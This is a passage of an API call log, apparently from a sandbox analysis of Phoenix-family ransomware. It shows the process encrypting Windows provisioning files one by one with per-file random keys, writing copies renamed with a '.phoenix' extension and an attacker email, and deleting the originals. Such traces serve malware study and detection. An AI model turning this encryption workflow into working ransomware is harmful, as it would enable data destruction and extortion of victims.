	[0259.473] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0259.473] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.473] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.488] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0259.488] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.489] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0259.489] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.489] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0259.489] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.489] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0259.489] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.489] CloseHandle (hObject=0x2f4) returned 1
	[0259.489] CloseHandle (hObject=0x2d0) returned 1
	[0259.490] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.491] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.491] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.523] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0259.523] CloseHandle (hObject=0x2d0) returned 1
	[0259.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0259.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.524] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.524] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.525] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0259.525] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.525] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0259.727] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0259.727] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.728] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0259.728] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.728] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0259.729] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.729] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0259.729] CryptDestroyKey (hKey=0x151140) returned 1
	[0259.729] CloseHandle (hObject=0x2d0) returned 1
	[0259.729] CloseHandle (hObject=0x2f4) returned 1
	[0259.729] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\85__connections_cellular_cytamobile-vodafone (cyprus)_i1$(__mvid)@wap.provxml")) returned 1
	[0259.730] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.730] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.732] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=708) returned 1
	[0259.732] CloseHandle (hObject=0x2f4) returned 1
	[0259.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0259.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.732] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.732] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.732] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.733] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0259.733] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.733] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c4, lpOverlapped=0x0) returned 1
	[0259.735] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0259.735] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0259.736] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.736] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0259.736] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.736] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0259.736] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.737] CloseHandle (hObject=0x2f4) returned 1
	[0259.737] CloseHandle (hObject=0x2d0) returned 1
	[0259.737] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml")) returned 1
	[0259.738] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.738] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.739] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=451) returned 1
	[0259.739] CloseHandle (hObject=0x2d0) returned 1
	[0259.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0259.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.739] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.739] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.740] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0259.740] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.740] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c3, lpOverlapped=0x0) returned 1
	[0259.744] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0259.744] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0259.745] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0259.745] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.745] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0259.746] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.746] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0259.746] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.746] CloseHandle (hObject=0x2d0) returned 1
	[0259.746] CloseHandle (hObject=0x2f4) returned 1
	[0259.746] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0259.747] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.747] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.748] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=450) returned 1
	[0259.748] CloseHandle (hObject=0x2f4) returned 1
	[0259.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0259.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.749] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.749] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0259.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0259.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0259.750] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.750] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c2, lpOverlapped=0x0) returned 1
	[0259.751] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0259.751] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0259.752] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0259.752] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.752] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0259.752] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.752] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0259.752] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.752] CloseHandle (hObject=0x2f4) returned 1
	[0259.752] CloseHandle (hObject=0x2d0) returned 1
